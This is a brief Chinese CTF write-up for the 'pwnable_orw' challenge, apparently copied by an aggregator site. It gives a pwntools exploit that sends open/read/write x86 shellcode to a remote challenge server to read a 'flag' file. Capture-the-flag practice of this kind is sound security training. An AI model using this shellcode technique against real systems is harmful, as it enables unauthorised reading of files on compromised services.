pwnable_orw 1

Posted Nullan

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pwnable_orw 1相关的知识,希望对你有一定的参考价值。

只能用read、open、write函数
那我们先open,然后read,最后write打印出来

from pwn import*

p = remote('node4.buuoj.cn','25548')

shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
shellcode += asm('mov eax,0x4;mov ebx,0x1;int 0x80')

p.sendlineafter('shellcode:', shellcode)


p.interactive()

以上是关于pwnable_orw 1的主要内容,如果未能解决你的问题,请参考以下文章

vs 2010代码片段

vs 2010代码片段

1 代码片段1

sublime text3 增加代码片段(snipper)

web代码片段

JavaScript单行代码,也就是代码片段